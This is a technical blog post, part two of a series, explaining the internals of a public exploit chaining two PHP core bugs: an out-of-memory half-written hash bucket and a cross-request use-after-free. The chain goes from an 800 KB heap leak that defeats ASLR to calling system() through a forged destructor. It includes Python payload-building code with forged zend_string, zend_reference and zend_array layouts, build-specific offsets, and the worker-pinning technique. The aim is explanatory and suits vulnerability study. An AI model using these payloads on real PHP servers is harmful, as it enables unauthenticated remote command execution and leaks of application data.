This post explains a working exploit. It covers the memory-level mechanics of a public PoC. Do not run it against systems you do not own or have written permission to test. The hands-on lab is in part 3.

Github Repo Here

CVE-2026-109618 · CVE-2026-109619 · CWE-416 / CWE-755 · PHP core

This is part 2 of 3: exploit internals. Part 1 covers the story, impact, and patch. Part 3 builds and runs the Docker lab.

If you have not read the four-request chain in part 1, read that first. This post assumes you know what A1, B1, A2, and B2 mean.

This is the memory-level explanation of the same chain. It covers the half-written Zend hash bucket in CVE-2026-109618 and the cross-request stale state in CVE-2026-109619: the forged zend_string that leaks worker memory, the fake zend_reference and zend_array, and the destructor call that reaches zif_system. If you only want to reproduce it, skip to part 3.

The two sections below are deliberately low-level. The first is the OOM bug that creates the half-written bucket. The second is the cross-request bug that turns a stale pointer into a leak and then a function call.

CVE-2026-109618: When OOM Leaves a Row Half Written

A PHP array is not a linked list of values. It is a flat row of fixed-size slots called buckets, plus a counter that says how many of them are in use. When a request ends, teardown destroys the array by walking that counter. $_POST and $_FILES are this structure. Every form field PHP parses gets its own bucket: the field name becomes the bucket's key, and the field value becomes its value.

Two counters sit next to that row. nNumUsed means "the next free slot", and teardown reads it as "walk this many slots". nNumOfElements is the number of live keys that count() reports, and it is not the counter teardown walks. In a healthy table the two move together, because a normal insert reserves the next slot and fills it in the same step:

Normal insert nNumUsed = 2
slot 0
key "username"
val "alice"
slot 1
key "email"
val "alice@example.com"
Teardown walks slots 0 to nNumUsed - 1 and finds a complete entry in each.

Two fields, two buckets, nNumUsed = 2. Teardown walks slots 0 and 1, and every one of them holds a real key and a real value. Nothing to see yet.

The insert is not atomic

The insert does three things in a fixed order: reserve the slot, allocate a copy of the key, then fill in the rest of the bucket. The reserve is two integer increments. The key allocation is a real allocation, and it can fail. When it does, PHP's OOM handler longjmp()s out of the parser before the fill ever runs.

Zend/zend_hash.c, simplified
/* 1. Reserve the next slot and count it as live. Nothing is written yet. */
idx = ht->nNumUsed++;
ht->nNumOfElements++;

/* 2. Point at the reserved slot. arData is the base of the bucket row. */
p = ht->arData + idx;

/* 3. Allocate the key copy. This can fail with an OOM bailout. */
p->key = zend_string_init(str, len, ...);

/* 4. Fill in the rest of the bucket. Skipped if step 3 bailed out. */
p->h = ...;
ZVAL_COPY_VALUE(&p->val, pData);

Picture a hotel register. The clerk writes "guest 3" in the book and increments the guest count before checking whether room 3 is ready. If the room is never prepared, the book still says three guests. Housekeeping reads the book, not the rooms.

After the failed insert nNumUsed = 3
slot 0
key "username"
val "alice"
slot 1
key "email"
val "alice@example.com"
slot 2
key leftover heap bytes
val leftover heap bytes
The counter says three slots exist. Slot 2 was abandoned mid-insert, so teardown reads whatever the heap left behind.

Slot 2 now sits inside the range teardown walks, but no key and no value were ever written to it. Teardown then does exactly what the counter told it to do:

/* Walk every bucket the counter claims exists. */
for (p = ht->arData; p != ht->arData + ht->nNumUsed; p++) {
    i_zval_ptr_dtor(&p->val);       /* read the value */
    if (p->key) {
        zend_string_release(p->key); /* read the key */
    }
}

It reads slot 2's value, and if the key pointer happens to be non-null, the key as well. Neither was written by this insert. But "not written" is not the same as "empty". The bucket is heap memory that was used for something else earlier in this request. During multipart parsing, "something else" is usually a field name or value from the same body. The bytes teardown interprets as a key pointer and a zval are bytes the attacker spent the previous milliseconds shaping.

That is the whole bug in two snippets and one counter. The counter says the row exists. The row was never written. Cleanup trusts the counter, and the attacker decides what the leftover bytes look like.

The OOM is not the hard part

Getting PHP to run out of memory in the right place is the part that makes the exploit practical. PHP compares post_max_size with the declared Content-Length before automatic POST parsing starts. If the request uses Transfer-Encoding: chunked or has no usable length, that check does not bound what PHP actually consumes. A compressed input filter can create the same mismatch.

The advisory lists several ways to put pressure on the parser without exceeding the advertised request size:

Technique Why it works
Chunked or lengthless multipart PHP compares post_max_size to the declared length, then keeps consuming decoded body data. The wire body can be larger than the limit PHP thinks it is enforcing.
Many multipart headers The in-memory representation of the headers costs more than their wire representation. A body under post_max_size can still exhaust memory_limit.
Empty file controls A part with filename="" does not count toward max_file_uploads, but PHP still creates the six $_FILES metadata entries for it.
Nested field names Names like files[a][b][c] make PHP build the hierarchy separately for every metadata entry. One short upload record expands into many hash tables, buckets, and string keys.

That is how a request that looks small enough can still push PHP over its own limit at a controlled moment. The public PoC uses nested empty file fields and a PHP_SESSION_UPLOAD_PROGRESS field to hit the OOM in session cleanup.

Why mod_php is important

Apache with mod_php calls php_request_shutdown() even when request startup failed. That gives the malformed $_POST or $_FILES table a chance to be destroyed, and the destruction walks the stale bucket. PHP-FPM takes a different branch: if php_request_startup() fails, it shuts the worker down and exits. That exact startup path does not survive on FPM. FPM is still in scope, but the validated FPM chains happen after a successful startup and need a suitable application operation.

This is why the lab uses the stock Apache image. It is the cleanest demonstration of the pre-auth path, and it is also the configuration PHP says is highest risk.

What the patch actually changes The fix replaces longjmp() for OOM with a delayed soft OOM that fires at a safe point, plus a hard OOM that terminates the worker with _exit(137) if memory use crosses a higher threshold. It also resets request-owned globals that could be reached before normal initialization. The hash table still updates its counters before it allocates the key in 8.5.12. The fix is around the error handling, not a rewrite of that ordering. That is why the advisory says the underlying pattern is risky and future variants are possible.

CVE-2026-109619: The Next Request Inherits the Mess

A PHP worker is a long-lived process. It handles one request, cleans up, and waits for the next one. Some globals in that worker point into the current request's heap. At the end of the request, PHP frees the heap and expects those globals to be reset. A fatal error can skip the reset. The next request on the same worker then finds a pointer into freed memory.

That is a use-after-free, but the trigger and the payoff are in different HTTP requests. The first request is the producer. The second request is the consumer. They have to land on the same worker. That is why the exploit either uses one Apache child or pins one child out of a larger pool.

The public PoC splits the chain into four requests. The rest of this section follows them in order, so keep this table nearby:

Stage Role What it does
A1 OOM producer #1 Runs out of memory during session-cookie cleanup and leaves PS(id) pointing into the request heap.
B1 Leak consumer Reclaims that block with a forged zend_string and returns worker memory in a Set-Cookie.
A2 OOM producer #2 Runs out of memory again and leaves PS(http_session_vars) pointing into the request heap.
B2 Write consumer Reclaims that block with a fake reference and array, then runs the command through zif_system.

Two session globals carry the whole chain. They live in ps_globals, the session extension's persistent per-worker state. That struct is not part of the request heap. When a request dies early, PHP frees the request heap but not the struct, so a pointer inside the struct can outlive the memory it points at.

Global What it holds When it is normally reset
PS(id) A zend_string * with the current session ID. Released in session shutdown, after the request finishes.
PS(http_session_vars) A zval holding an IS_REFERENCE to the $_SESSION array. Destroyed by php_session_track_init() during session initialization, or in session shutdown.

The session upload progress feature is the star of this part. It is enabled by default, and it runs before normal module initialization. The application does not have to call session_start(). In fact, the app does not have to use sessions at all. The request startup order is roughly:

php_hash_environment();   /* parses request variables and multipart input */
zend_activate_modules();  /* normal module RINIT functions */
PG(modules_activated) = 1;

If multipart parsing fatals before modules_activated is set, the matching session shutdown is skipped. The request heap is still freed. The Apache worker survives with PS(id), PS(http_session_vars), or unserializer bookkeeping still pointing into the freed heap.

The leak: PHP trusts a length field

The first consumer is the session cookie. A1, the first OOM producer, runs out of memory inside php_session_send_cookie(), while it is building the Set-Cookie header for a newly created ID. The bailout leaves PS(id) non-null and PS(send_cookie) set. Startup never reached modules_activated, so the session shutdown that would release or reset PS(id) is skipped. The worker keeps the pointer. The request heap does not.

B1, the leak consumer, includes a PHPSESSID field and a PHP_SESSION_UPLOAD_PROGRESS field, so the parser reaches the upload-progress cleanup callback at the end of the body. That callback calls php_session_initialize(). Inside it, php_session_reset_id() calls php_session_send_cookie() while PS(id) is still the stale pointer. The leak happens before normal module initialization can reset it.

B1 also reclaims that freed block with a multipart field value and writes a fake zend_string header at the exact address PS(id) still holds. The parser copies field values into request memory, so the attacker controls the header bytes. This is the object being forged:

Offset Size Field Forged value What it does
0x00 4 gc.refcount 0 The later release decrements it and wraps below zero instead of freeing the fake pointer, so the response survives.
0x04 4 gc.type_info 0x16 IS_STRING (6) plus GC_NOT_COLLECTABLE (0x10). PHP now treats the block as a string and the cycle collector leaves it alone.
0x08 8 h 0 The cached hash. This path never performs a lookup, so zero is fine.
0x10 8 len 0xC8000 The lie. It claims the string is 819,200 bytes long.
0x18 ... val[] 8 attacker bytes, then heap residue The first bytes of string data. Everything after the field's real end is whatever was already in the heap.
# v is the bytes of one multipart field value.
# hdr is the offset inside v that lands at the address PS(id) still holds.
struct.pack_into("<I", v, hdr + 0x00, 0)       # gc.refcount
struct.pack_into("<I", v, hdr + 0x04, 0x16)    # IS_STRING | GC_NOT_COLLECTABLE
struct.pack_into("<Q", v, hdr + 0x08, 0)       # h
struct.pack_into("<Q", v, hdr + 0x10, 0xC8000) # forged len
tag = b"/02BBBBB"                               # 8 bytes of real string data
v[hdr + 0x18:hdr + 0x18 + 8] = tag
# the field value stops here; everything past it is old heap

Only the header and eight bytes of val are real field data. The rest of the claimed string runs through adjacent heap memory:

PS(id)
refcount=0
type=0x16
len=0xC8000
val[0..7]
attacker tag
8 bytes
val[8..0xC7FFF]
old heap contents
read by php_url_encode()

The consumer is one line in ext/session/session.c. It uses both fields from the forged header:

/* php_session_send_cookie() */
e_id = php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)));

ZSTR_VAL is the val pointer at PS(id) + 0x18. ZSTR_LEN is the forged len. php_url_encode() reads 819,200 bytes from that pointer and puts the result into the Set-Cookie header. The string never had that much data; the length field is the entire bug.

In the lab, that produced a cookie a little over 819 KB and a 1.6 MB response from a page that normally returns 24 bytes. The leaked region contains the two addresses the second stage needs, plus a lot of collateral:

What is in the 800 KB window What it unlocks
Heap pointers that cluster on 2 MiB boundaries. They mark the bases of the Zend MM chunks. The main chunk base. The second stage uses it to compute the fake array address.
Real HashTable objects whose pDestructor field points at zval_ptr_dtor in libphp. The libphp base. Subtract the known zval_ptr_dtor offset (0x65EB60) and add the zif_system offset: zif_system = libphp + 0x465370.
Request strings, tokens, and whatever else was in the worker's heap. Collateral exposure. The primitive that defeats ASLR also leaks application data.
Offsets are tied to the build The offsets in this section come from the pinned php:8.4.26-apache image. Change the PHP build, the compiler, or the request shape, and they change. The technique does not.

The write: cleanup calls a function pointer

The second consumer is PS(http_session_vars). A2, the second OOM producer, runs out of memory after the upload-progress callback has already created the session reference, but before module shutdown can run. The worker keeps an IS_REFERENCE zval whose value points at a zend_reference in the request heap, and that reference points at the session array. Freeing the heap does not clear the zval.

B2, the write consumer, reclaims the freed region with a spray of 384-byte field values. Each value is full of fake zend_reference records every 32 bytes, starting eight bytes into the value after the parser's string header, so whichever slot the stale pointer lands on is a valid reference. B2 also sends a PHPSESSID field and a PHP_SESSION_UPLOAD_PROGRESS field. At the end of the multipart body, the upload-progress callback calls php_session_initialize(), which calls php_session_track_init(), which runs zval_ptr_dtor(&PS(http_session_vars)) on the stale zval. That is where the chain starts, before normal session initialization can reset it.

Here is the fake reference. It is 32 bytes, and the spray repeats it:

Offset Size Field Value Why
0x00 4 gc.refcount 1 One reference. The destructor call drops it to zero and destroys it.
0x04 4 gc.type_info 0x0A IS_REFERENCE. zval_ptr_dtor follows it.
0x08 8 val.value.ptr S The address of the fake zend_array.
0x10 4 val.u1.type_info 0x0107 IS_ARRAY (7) plus the refcounted flag (0x100). Destroying this inner zval calls zend_array_destroy(S).
# One 32-byte slot in the spray. ref is the bytes at that slot.
struct.pack_into("<I", ref, 0x00, 1)        # gc.refcount
ref[0x04] = 0x0A                            # gc.type = IS_REFERENCE
struct.pack_into("<Q", ref, 0x08, S)        # val.value.ptr = fake zend_array
struct.pack_into("<I", ref, 0x10, 0x0107)   # val.type = IS_ARRAY | REFCOUNTED
Why 0x16 and 0x0107 look unrelated A GC header stores the type in the low four bits and its flags above that, so 0x16 is type 6 (IS_STRING) plus GC_NOT_COLLECTABLE (0x10). A zval uses a different layout: the type is still in the low bits, but the refcounted flag sits at bit 8, so the array zval is 0x0107 = IS_ARRAY (7) plus 0x100. Same idea, different encoding.

The fake array lives at S. It is a zend_array, the same struct PHP calls a HashTable. The fields that matter are nNumUsed, arData, and pDestructor:

Offset Size Field Value What it does
0x00 8 gc rc=1, type=IS_ARRAY The array is live and destroyable.
0x08 4 u.flags 0x10 HASH_FLAG_STATIC_KEYS. The destroy path calls pDestructor and skips releasing a key.
0x0C 4 nTableMask -8 A normal mask for eight slots.
0x10 8 arData S + 0x20 Where the first bucket starts. This is the key overlap.
0x18 4 nNumUsed 1 Destroy exactly one bucket.
0x1C 4 nNumOfElements 1 Consistent with nNumUsed.
0x20 4 nTableSize 8 Consistent with the mask.
0x30 8 pDestructor zif_system The function PHP calls for each bucket value.
# buf is the 384-byte field value that lands at S.
struct.pack_into("<II", buf, 0x00, 1, 7)              # gc: rc=1, IS_ARRAY
struct.pack_into("<II", buf, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", buf, 0x10, S + 0x20)           # arData
struct.pack_into("<II", buf, 0x18, 1, 1)              # nNumUsed, nNumOfElements
struct.pack_into("<II", buf, 0x20, 8, 0)              # nTableSize, nInternalPointer
struct.pack_into("<Q", buf, 0x28, 0)                  # nNextFreeElement
struct.pack_into("<Q", buf, 0x30, zif_system)        # pDestructor

That non-default pDestructor is also a branch selector. zend_array_destroy() takes a fast inline path when the destructor is the default zval_ptr_dtor. It only calls zend_hash_destroy(), which honors a custom destructor, when the pointer is something else. Setting it to zif_system earns the call.

The overlap is the part that looks wrong until you see the call. A Bucket starts with a 16-byte zval. Because arData = S + 0x20, the first bucket's value is at S + 0x20. The destroy loop calls:

ht->pDestructor(&p->val);   /* p = ht->arData, so this is S + 0x20 */

A destructor has the signature void (*)(zval *pDest). zif_system is the internal C handler for PHP's system() function, and its signature is void (*)(zend_execute_data *execute_data, zval *return_value). On x86-64 both take their first pointer in RDI. PHP passes S + 0x20 as the destructor argument, and zif_system reads that same address as its execute_data. Call that address E. The bucket value and the call frame are one object.

A zend_execute_data is 0x50 bytes, and the arguments follow it. zif_system only reads a few fields:

Offset from E Field Value Why it matters
0x2C This.u2.num_args 1 ZEND_PARSE_PARAMETERS_START(1, 2) checks this before reading arguments.
0x50 arg[1].value S + 0x80 ZEND_CALL_ARG(1) is at E + sizeof(zend_execute_data) = E + 0x50. This points at the fake string.
0x58 arg[1].type IS_STRING (6) The handler only accepts a string argument.
# E is also the first bucket's val, at S + 0x20.
E = S + 0x20
struct.pack_into("<I", buf, E + 0x2C, 1)          # This.u2.num_args = 1
struct.pack_into("<Q", buf, E + 0x50, S + 0x80)   # arg[1].value
struct.pack_into("<I", buf, E + 0x58, 6)          # arg[1].type = IS_STRING

# The fake zend_string at S + 0x80 holds the command.
struct.pack_into("<II", buf, 0x80, 1, 0x106)      # gc: rc=1, IS_STRING|PERMANENT
struct.pack_into("<Q", buf, 0x88, 0)              # h
struct.pack_into("<Q", buf, 0x90, len(cmd))       # len
buf[0x98:0x98 + len(cmd)] = cmd                    # val
buf[0x98 + len(cmd)] = 0                           # NUL terminator

The whole payload fits in one field value. The fake array occupies S + 0x00 through S + 0x37. The first bucket and the fake call frame overlap it from S + 0x20. The fake string and the command sit at S + 0x80 and S + 0x98. The ht field in B2 is that buffer, sent between the two halves of the spray so the allocator gives it the calibrated slot at S.

Offset from S Contents
0x00 Fake zend_array header
0x20 Bucket 0 value, also the fake execute_data
0x30 pDestructor (same bytes as the bucket's h)
0x50 execute_data argument slot
0x80 Fake zend_string header
0x98 Command bytes

The full call chain is:

# What runs What it reads
1 zval_ptr_dtor(&PS(http_session_vars)) The stale zval says IS_REFERENCE.
2 zend_reference_destroy(ref) The fake reference's refcount reaches zero.
3 zval_ptr_dtor(&ref->val) The inner zval says IS_ARRAY at S.
4 zend_array_destroy(S) The fake array's GC header says it is a live array.
5 zend_hash_destroy(S) nNumUsed=1, arData=S+0x20.
6 pDestructor(&bucket->val) pDestructor=zif_system; argument is S+0x20.
7 zif_system(E, ...) num_args=1; argument at E+0x50.
8 php_exec() / popen() The string at S+0x80 is the command.
Where S and zif_system come from Neither address is guessed. B1's leak gives the main chunk base and the libphp base. The pinned build puts the fake array at S = main + 0xF8398 and zif_system at libphp + 0x465370. The exploit computes both at runtime; ASLR changes the bases, not the offsets.
main       = 0x7f9be8000000
S          = main + 0xF8398   = 0x7f9be80f8398
libphp     = 0x7f9be9c7a000
zif_system = libphp + 0x465370 = 0x7f9bea0df370

This is why the final proof is a shell command and not a weird crash. PHP's normal array cleanup becomes the call site. The attacker controls the function pointer and the argument. In the lab, the call is system("id > /out/pwned"). None of it needs application code: the trigger is the multipart parser's own session cleanup callback, which runs before zend_activate_modules().

The worker can still crash after the command, either when zif_system writes through the garbage return_value pointer or when cleanup frees the fake table. The proof file is already on disk.

Why this is not a one-request bug The producer and consumer must hit the same worker. On a busy pool, the exploit pins one child by holding the other workers open with partial POST bodies. On a single-worker lab, it just sends the next request. This is also why pm.max_requests=1 breaks the chain, at a performance cost. It is a mitigation, not a fix.
Next: run it yourself Part 3 builds the pinned Docker lab, runs the four requests, and shows what the stage names look like in the output. The lab repository is jcadima/php2shell-lab.

Sources

What Where
PHP advisory and patch PHP October 2026 security release
GHSA-w8hw-w9fx-j79w
GHSA-6wmf-4rv5-p3rp
Public PoC used by the lab 9bie/php2shell-bypass-aslr-exp
commit 17e98ee81025cccfd94b4f9c9a17bf269c65ff75
Research and analysis calif.io/php2shell
Wiz Research
Datadog Security Labs